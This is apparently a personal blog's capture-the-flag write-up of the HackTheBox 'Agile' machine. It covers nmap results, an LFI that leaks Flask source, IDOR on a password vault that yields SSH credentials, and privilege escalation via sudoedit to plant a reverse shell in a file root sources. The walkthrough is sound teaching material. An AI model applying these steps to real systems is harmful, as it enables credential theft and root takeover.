HacktheBox - Agile

Hackthebox - Agile

Initial Enumeration

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Nmap 7.93 scan initiated Sat Mar 11 00:29:44 2023 as: nmap -sC -sV -oN nmap/agile 10.10.11.203
Nmap scan report for agile.htb (10.10.11.203)
Host is up (0.26s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f4bcee21d71f1aa26572212d5ba6f700 (ECDSA)
|_ 256 65c1480d88cbb975a02ca5e6377e5106 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Mar 11 00:30:03 2023 -- 1 IP address (1 host up) scanned in 19.67 seconds

Web

Opening the page redirect to superpass.htb

Playing around with the service lets register on the application

We find LFI on download endpoint

and based on error we can grab the source code of the application

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
import json
import os
import sys
import flask
import jinja_partials
from flask_login import LoginManager
sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '..')))
from superpass.infrastructure.view_modifiers import response
from superpass.data import db_session

app = flask.Flask(__name__)
app.config['SECRET_KEY'] = 'MNOHFl8C4WLc3DQTToeeg8ZT7WpADVhqHHXJ50bPZY6ybYKEr76jNvDfsWD'


def register_blueprints():
from superpass.views import home_views
from superpass.views import vault_views
from superpass.views import account_views

app.register_blueprint(home_views.blueprint)
app.register_blueprint(vault_views.blueprint)
app.register_blueprint(account_views.blueprint)


def setup_db():
db_session.global_init(app.config['SQL_URI'])


def configure_login_manager():
login_manager = LoginManager()
login_manager.login_view = 'account.login_get'
login_manager.init_app(app)

from superpass.data.user import User

@login_manager.user_loader
def load_user(user_id):
from superpass.services.user_service import get_user_by_id
return get_user_by_id(user_id)


def configure_template_options():
jinja_partials.register_extensions(app)
helpers = {
'len': len,
'str': str,
'type': type,
}
app.jinja_env.globals.update(**helpers)


def load_config():
config_path = os.getenv("CONFIG_PATH")
with open(config_path, 'r') as f:
for k, v in json.load(f).items():
app.config[k] = v


def configure():
load_config()
register_blueprints()
configure_login_manager()
setup_db()
configure_template_options()


def enable_debug():
from werkzeug.debug import DebuggedApplication
app.wsgi_app = DebuggedApplication(app.wsgi_app, True)
app.debug = True


def main():
enable_debug()
configure()
app.run(debug=True)


def dev():
configure()
app.run(port=5555)


if __name__ == '__main__':
main()
else:
configure()

trying iodr on view to get vault rows we get data of corum which contained ssh creds for him as

1
sshpass -p '5db7caa1d13cc37c9fc2' ssh corum@agile.htb

Privillege Escalation

Checking for listening port we see port 5555 running localy
we can also confirm that in nginx config

Port forwading the port 5555 we see the same application and using the IDOR again on /vault/row/<id> we find creds for edwards d07867c6267dcb5df0af

Edward to root

1
2
export EDITOR="vim -- /app/venv/bin/activate"
sudo -u dev_admin sudoedit /app/config_test.json

We know that root is doing source of /app/venv/bin/activate every minute so we can add out revershell in that and wait for root to execute it

Author: Shubham Kumar
Link: https://f3v3r.in/htb/machines/retired/agile/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.